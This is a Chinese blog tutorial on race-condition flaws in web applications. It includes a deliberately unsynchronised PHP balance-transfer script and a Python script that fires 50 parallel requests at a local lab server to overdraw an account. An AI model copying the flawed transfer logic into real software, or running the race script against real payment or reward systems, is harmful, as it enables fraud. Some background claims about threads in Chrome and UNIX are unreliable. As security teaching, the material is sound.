浅谈Web中的条件竞争漏洞

Web中的条件竞争漏洞学习
合上吧,没有新姿势。

进程和线程

在Windows操作系统中,一个程序只对应一个进程,里面可以有一个或多个线程。

线程是操作系统能够进行运算调度的最小单位。,比如一个word2013是一个进程,里面的保存就是一个线程,打印功能又是另外一个线程,等等。

再举一个例子,这里的Google Chrome就是一个进程,并且开了的43个就是子线程,加上一个主线程,对于进程Google Chrome来说,一共有44个线程,通俗讲即浏览器中开了44个标签页

在UINX操作系统中,则没有线程概念,一个进程中(父进程)可以有多个子进程(多级嵌套)

如果你还是有点不明白的话请阅读这篇文章,进程与线程的一个简单解释

漏洞成因

讲解了进程和线程的概念之后,我们来讲解条件竞争漏洞的成因

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。我理解的就是一个独木桥,两个(可以更多)跑的一样快的人一起通过,无法预测谁通过了独木桥,这里就存在竞争。

案例分析

现在我们模拟一个my用户转账给Jack用户的操作my用户的余额是1,Jack用户的余额是999,转账的条件是my只能转1块钱给Jack

前端水平很渣很渣,各位大佬轻喷。。。

后端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//连接数据库的函数
function conn(){
$dns = "mysql:host=localhost;dbname=test";
//连接数据库
$db = new PDO($dns, "root", "root");
return $db;
}

$db = conn();
//查询my的money
$sql = 'select money from te_money where id = "my";';
$money_my = $db->query($sql);
foreach($money_my as $row1)
//查询Jack的money
$sql = 'select money from te_money where id = "Jack";';
$money_jack = $db->query($sql);
foreach($money_jack as $row2)
$add_money = @$_POST['add_money'];
if($add_money < 0){
echo "<script type='text/javascript'>alert('转账金额必须大于0')</script>";
Header("refresh:0.1;url='./test.php'");
exit();
}
$over_my = $row1['money'] - $add_money;
//判断转账的钱扣除后my的余额是否为负数
if($over_my < 0){
echo "<script type='text/javascript'>alert('余额不足')</script>";
Header("refresh:0.1;url='./test.php'");
exit();
}
//更新my的余额
$sql = 'update te_money set money='.$over_my.' where id="my";';
$db->exec($sql);
//更新Jack的余额
$over_jack = $row2['money']+$add_money;
$sql1 = 'update te_money set money='.$over_jack.' where id="Jack";';
$db->exec($sql1);

//转账完成之后要查询对应的余额
//查询my的money
$sql = 'select money from te_money where id = "my";';
$money_my = $db->query($sql);
foreach($money_my as $row1)
//查询Jack的money
$sql = 'select money from te_money where id = "Jack";';
$money_jack = $db->query($sql);
foreach($money_jack as $row2)
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
import threading
import requests
url = 'http://127.0.0.2:82/vulnerability/race_condition/test.php'

def money():
data = {
'add_money':1
}
r = requests.post(url=url,data=data)
def multithreading():
threads = []
for t in range(50):
t = threading.Thread(target=money)
t.start()
threads.append(t)
for thread in threads:
thread.join()
if __name__ == '__main__':
multithreading()

用py模拟转账,发现一直是如下情况,明明多线程会出现my账号负数的呀,而且我的网络状况也算稳定

后来意识到我在写代码的时候判断了余额小于0就exit()

在去掉了exit()后发现my的余额出现了负数

因为这个漏洞很受环境因素的影响,比如网络延迟、服务器的处理能力等,所以只执行一次可能并不会成功,条件竞争漏洞有时很难通过黑盒/灰盒的方法来进行挖掘。

可能的场景:签到、积分、抽奖、优惠券、订单生成/取消等

CTF中的条件竞争漏洞

moctf中的题目没时间解释了

具体参考moctf_wp_没时间解释了

这题就是需要我们一边不停上传,一边不停地访问上传成功的文件,然后就可以做出题目了。

Reference

Web中的条件竞争漏洞

测试Web应用程序中的竞争条件

本文标题:浅谈Web中的条件竞争漏洞

文章作者:xianyu123

发布时间:2019年02月03日 - 10:14

最后更新:2019年05月11日 - 20:52

原始链接:http://0clickjacking0.github.io/2019/02/03/浅谈Web中的条件竞争漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------